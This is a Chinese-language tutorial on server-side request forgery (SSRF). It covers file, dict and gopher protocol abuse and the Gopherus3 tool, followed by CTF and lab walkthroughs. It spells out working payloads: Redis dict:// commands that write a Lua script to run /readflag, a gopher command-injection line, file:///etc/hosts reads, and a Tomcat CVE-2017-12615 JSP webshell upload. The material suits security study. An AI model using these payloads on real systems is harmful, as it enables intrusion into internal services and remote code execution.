什么是SSRF
SSRF是一种由攻击者构造,最终由服务端发起请求的安全漏洞。一般情况下,SSRF攻击的目标是外网无法访问的内部系统,因为请求是服务端发起的,所以可以直接访问内网资源,SSRF利用大多是协议的利用。
常见协议
file协议
file://是一种URI协议,用于访问本地文件系统中的文件。
若我们可以控制服务端,就可以利用该协议访问内网机器文件
基本格式:file://[主机名]/路径
主机名:通常为空或为localhost,表示访问本机文件。
路径:指定本地文件的完整路径,注意区分Windows和Unix 系统
Windows需要三个斜杠(///),Unix只需要两个斜杠(//)
dict协议
可以用来探测内网服务,端口开启情况,以及命令执行,但是命令执行的时候必须是未设置密码的情况。
使用方式:
dict://serverip:port/命令:参数
向服务器端口发送特定请求
dict协议执行命令要一条一条执行
该执行命令时较为受限,基本只适用于redis的未授权情况。
但是还是可以探测服务版本,就像我本地开个mysql有密码。
gopher协议
gopher支持发出GET、POST请求,是ssrf利用中一个最强大的协议(俗称万能协议),可用于反弹shell。
使用格式为
gopher://<server>:<port>/<prefix><encoded_data>
<prefix>
可以是单字符,但部分服务会根据前缀字符触发不同行为(如Redis会解析前缀为命令长度)。所以常用的还是>可以是单字符,但部分服务会根据前缀字符触发不同行为(如Redis会解析前缀为命令长度)。所以常用的还是
数据部分的特殊字符(如?、&、空格等)必须URL编码,否则会被截断或解析错误。
如果getshell的情况下,可以直接RCE,不用编码不用做格式转换,并且端口只需要存活即可,不用特殊端口,但是实用性感觉不大
curl gopher://localhost:80/_`cat /home/1.txt > 2.txt`
这个协议能够完美的解决dict协议只能执行一条命令导致无法攻击授权应用的短板。
工具:gopherus
gopher协议的强大工具
地址:https://github.com/Esonhugh/Gopherus3
安装:pip install --use-pep517 git+https://github.com/Esonhugh/Gopherus3.git #针对python3最新修正
该工具主要针对未授权服务,对于sql这种手写比较麻烦的使用该工具会更加便捷。
| 命令 | 描述 |
|---|---|
| gopherus3 --帮助 | 帮助 |
| gopherus3 --漏洞利用 | 参数可以是 : --利用 mysql -h --利用 postgresql -h --exploit fastcgi -h --exploit redis -h --exploit zabbix -h --利用 pymemcache -h --利用 rbmemcache -h --利用 phpmemcache -h --dmpmemcache-h漏洞利用 --利用 smtp -h |
例题实战:CachedVisitor
搭建环境
docker build -t cachedvisitor:v1 .
docker run -d -p 32777:80 cachedvisitor:v1
存在ssrf同时看到有个redis
看看dict是否可用

dict可用,而且redis可用执行命令
分析一下源码
COPY flag /flag
COPY readflag /readflag
RUN chmod 400 /flag
RUN chmod +xs /readflag
lua脚本会执行/scripts/visit.script中的脚本,我们的目的是执行readfile。我们用redis将lua写入visit.script
dict://127.0.0.1:6379/set:payload:"##LUA_START##ngx.say(io.popen('/readflag'):read('*all'))##LUA_END##" #设置键payload为我们的命令
dict://127.0.0.1:6379/config:set:dir:/scripts/ #更改 Redis 配置,使其dir指向/scripts/目录
dict://127.0.0.1:6379/config:set:dbfilename:visit.script #更改数据库文件名
dict://127.0.0.1:6379/bgsave #保存
刷新一下执行脚本,得到flag
国光SSRF靶场
地址:https://github.com/Duoduo-chino/ssrf_vul
需对docker-compose.yml进行修改,设置网络和服务的IP地址。
主站点
使用file:///etc/hosts直接读取文件。
使用脚本扫描站点,发现shell.php和phpinfo.php,通过shell.php实现RCE。

172.16.0.23
扫描发现index.php存在SQL注入漏洞,无过滤,通过联合查询和加载文件获取信息。

172.16.0.24
SSRF打法
把正常打法的整个数据包二次URL编码,利用gopher协议打
172.16.0.25
正常打法,发现用户登录XML文档解析存在XXE漏洞
SSRF打法
把正常打的整个数据包二次url编码,打gopher协议
gopher://172.16.0.25:80/_2次编码后的tcp流
172.16.0.26
针对Tomcat中间件的CVE-2017-12615任意写文件漏洞,将上传和访问jsp马的数据包进行二次URL编码,分别使用gopher协议和http 协议实现攻击。
END









